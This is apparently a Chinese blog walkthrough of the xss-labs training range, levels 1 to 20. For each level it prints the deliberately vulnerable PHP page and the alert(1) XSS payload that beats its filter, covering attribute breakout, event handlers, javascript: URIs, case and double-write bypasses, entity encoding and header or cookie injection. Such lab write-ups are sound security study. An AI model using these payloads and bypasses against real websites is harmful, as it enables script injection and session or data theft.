0%

xss靶场一把过

在此先鸣谢参考文献的作者H3rmesk1t
参考文献https://blog.csdn.net/LYJ20010728/article/details/116462782

Level 1

经典payload直接打即可

1
name=<script>alert(1)</script>

Level 2

先随便打个经典payload上去,发现有问题,我们的payload之能作为查询的值了,说明里面存在转义,可以将我们输进去的代码块转义成普通搜索的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'"> //注入点
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

注意观察
value处是有闭合的
这里有<>将语句闭合,除此之外还存在一个””,那我们也直接打一个”>上去将

1
<input name=keyword  value="'.$str.'">

这里面的value前面的<闭合,然后后面我们传上去的payload后面的值就可以脱离语句,成功执行

1
keyword=><script>alert(1)</script>

level 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

出现了一些陌生的内容
htmlspecialchars函数

1
2
3
使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素
但是默认是只编码双引号的,而且单引号无论如何都不转义。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

例如

1
2
3
4
5
& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;

注意此处的单引号,它是没有什么变化的

那么这种情况下,我们一般要用事件来触发弹窗

  1. 鼠标点击事件: onclick
    payload
1
'onclick='alert(1)

用两个单引号前后闭合,把value给闭了,然后就是把鼠标点击这个事件给它整上去了,最后只要点击鼠标就可以触发alert

1
2
<input name="keyword"
value='' onclick='alert(1)'>

闭合后就是上面这个意思

  1. onfocus事件

payload

1
' onfocus=alert(1) autofocus='
1
2
<input name="keyword"
value='' onfocus=alert(1) autofocus='>

很明显第一个单引号用于闭合value,那么后面的那个呢?

最后那个单引号,主要是为了 HTML 语法“闭合”——保证后续 HTML 不至于断裂。
虽然这里看起来多余,但放上去更保险,能让浏览器按预期解析整个标签

接下来来详细的讲解一下onfocus事件

onfocus事件:当元素获得焦点时触发。
alert(1):获得焦点时,执行alert(1)

什么是焦点?

“焦点(focus)”指的是当前接受用户键盘输入或交互的那个元素。只有可交互的元素(比如 input、button、可聚焦的链接

1
<a href="…"> 

甚至通过 tabindex 设置的任意元素)才能“获得焦点”。
如何获得焦点

  • 用户点击
    当你用鼠标点到一个可输入框(input、textarea)或按钮上,它就会获得焦点。

  • 键盘 Tab 键切换
    按 Tab(或 ⇧ Tab)可以在页面上按顺序切换可聚焦元素,每切换一个元素,就相当于让它“获得焦点”。

  • 脚本主动聚焦
    JavaScript 里可以调用元素的 focus() 方法:

1
document.getElementById('myInput').focus();

这样会把光标直接跳到那个输入框里,等同于用户点了一下它。

autofocus
HTML5 标准里的一个布尔属性,一旦加在表单元素上,该元素页面加载完毕后会自动获得焦点。
作用:自动触发上面写好的 onfocus 处理器,无需用户再点击或 Tab 键切换。

简单来说就是自执行

那这个payload很显然了

同理可以构造

1
" onfocus=javascript:alert() "

这个使用了javascript伪协议,但是我感觉此处没什么必要,后面我们会再来谈JavaScript伪协议

level 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

注意到

1
2
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

这里有个过滤
但是我们上面的那些payload似乎都没有带<>的,所以直接再打,只要把闭合符号改成”即可

level 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

稍微审计一下就会发现猫腻

1
2
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

这里是把script和on都过滤了

我们在上面讲的两种事件触发方法都不可避免的提到on这个字符串,因此这题要另寻出路

  1. 大小写过滤?
    虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了

  2. a href标签法
    exp

1
2
3
4
5
<div>
用户评论:</div>
<a href="javascript:alert(1)">点击这里</a>
<div>
</div>

这里先把上面的/div闭合了,下面的也闭合,然后就用a href执行

href属性的意思是 当标签a被点击的时候,就会触发执行转跳,也可以触发执行一段js代码

我们此处用的JavaScript代码就是用JavaScript伪协议写的

javascript:alert(1) 使用了java伪协议,感兴趣的可以百度查查,就是把javascript: :后面的代码当JavaScript来执行

payload

1
"> <a href=javascript:alert()>xxx</a> <"

这里打上去之后会自动给xxx添加一个的标签,这个时候直接在页面中点击xxx即可xss
要是嫌麻烦也可以不添加xxx(a这个标签的内容不用写全)
直接

1
"><a href="javascript:alert(1)">

这样子可以直接把>打上a的标签,并且出现在页面中,之后点击>即可触发href

3.
payload

1
"><iframe src="javascript:alert(1)"></iframe>

解释

1
2
3
iframe 是一个可以加载另一个网页的内联框架。
src="javascript:alert(1)" 利用 javascript: 协议让浏览器执行 JS。
因为 iframe 会尝试加载这个 “地址”,所以实际上会执行:alert(1)

人话:加入假图片,利用JavaScript协议直接执行alert(1)

level 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

简单代审就发现我们上次的利用手段基本上都被ban了

1
2
3
4
5
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

但是注意到没有大小写转换函数,那么这题直接大小写绕过即可

1
"><ScRipt>alert(1)</SCript>

我们上面其他的payload也可以通过大小写转换绕过

level 7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>

这里直接就给我们统一转换成小写了,但是没关系,可以用双写绕过

双写绕过原理

1
2
oonn中间的on被过滤掉,那么两边就会合成一个新的on,就可以起到效果(这里没用循环匹配字符串)
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

payload

1
"><scscriptript>alert(1)</sscriptcript>

level 8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

纯小写并且破坏了我们可以利用的标签的结构,无法大小写与双写绕过,value是双引号闭合,这里双引号也被实体化,前面的常规手法都不行

这里注意到

1
2
3
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

这里要讲一个href的隐藏属性
href可以自动Unicode解码
那这就很好了,直接unicode编码打上去即可

1
javascript:alert()

payload

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

对的,这里你就别想着说用

1
<script>alert(1)</script>

来发动弹窗了,这里value是交给href的,href后面跟个JavaScript伪协议可以,跟个标签不行(上面几题的实践也已经反复说明了)

level 9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

这里你只要懂strpos函数的作用即可

简单来说: strpos 是 PHP 中用于在字符串中查找子字符串首次出现位置的函数。(注意它大小写敏感)
那么我只要在我打的payload里写入http://即可

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

注意这里把”http://“注释掉,否则是不能弹窗的

level 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

注意到

1
2
3
4
5
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>

这里的输入框都被隐藏了,前端改一下,把hidden改成text
好吧这步没有,还是得在

1
<input name="t_sort"  value="'.$str33.'" type="hidden">

做文章,然后构造闭合语句把type改成text

这里keyword是假的注入点,我们需要去注入t_sort

payload

1
?t_sort=" onfocus=javascript:alert() type="text

这里需要去打一个text把输入框显示出来

level 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这里直接两个可控变量实体化
我感觉真正的入手点应该只有t_ref,前两个变量感觉都萎了
str33是在得到referrer头之后又过滤掉<>得到的

那就很显然了,payload可以和level10一样,但是注入点是referrer头

bp直接打即可
payload

1
" onfoucs=javascript:alert(1) type"=text

level 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

没变化,就是注入点改成agent了,这里payload可以和上面的一样
但是为了多样性,我这里用另外一种payload

1
" type="text" onmousemove="alert(1)

先闭合前面后触发事件哈哈

level 13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

注入点在cookie,其余的一点没变

level 14

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

不一样了,这里看着像关于一张图片,
看看chatgpt怎么说
alt text

作为musc兽,直接用 exiftool 给一张图片的 EXIF Comment 写入 JS

1
2
3
exiftool -overwrite_original \
-Comment='<script>alert("XSS!")</script>' \
input.jpg

丸辣,上传点呢?base64编码解码写入?

这里感觉和之前的FCTF的一题很像,关于某个系统可以传pdf打xss的洞,pdf内写入弹shell的语句,然后就直接反弹shell

level 15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

没什么过滤,有个实体化函数,还有一个

1
ng-include

查查看

ng-include指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。

简单来说:ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

那就试试把第一关的文件包含试试

OK,实验很成功,payload是

1
src=%27level1.php%27

alt text

那我们就直接用img标签来打,由于图片一定是level 1的文件内容,所以我们可以用img标签打xss来触发
由于我们是已经是包含在level 1里面,所以当我们只需要打level 1的参数即可,即用name来传参
那么src传到实体化函数的参数里没有我们要用的img打xss的payload,实体化函数形同虚设

1
注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的
1
?src='/level1.php?name=<img src=1 onmouseover=alert()>'

level 16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

注意到它把空格过滤了,那这得想个办法绕过

  1. “0D”是把光标移到同一行的顶头——回车
  2. “0A”是把光标移到下一行——换行

这两个在html中均可以当成空格使用

那再看看有什么过滤,仅仅只是过滤掉JavaScript等小标签,那我们可以打的payload就很多了

1
keyword=<img%0dsrc=1%0donerror=alert(1)>

level 17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

需要加载个什么什么玩意,不懂
代码审计一下,其实可以把xsf01绕过的
直接打即可

1
arg01=a&arg02=aaa onmousemove='alert(1)'

这样子其实就可以直接a=aaa onmousemove=’alert(1)’在这个标签中执行
这个其实也是就embed 标签 拼接绕过

level 18

和level 17同理

level 19

flash打xss
参考文献
https://blog.csdn.net/u014029795/article/details/103213877

需要对swf进行反编译才能得到payload

payload

1
arg01=version&arg02=<a href="javascript:alert(1)">123</a>

level 20

https://blog.csdn.net/u014029795/article/details/103217680

最后-关于flash打xss

https://blog.csdn.net/weixin_30702413/article/details/99326627

这篇文章讲的挺好,值得细读

感觉除了学点过滤,其余的啥都没学到啊,本文结束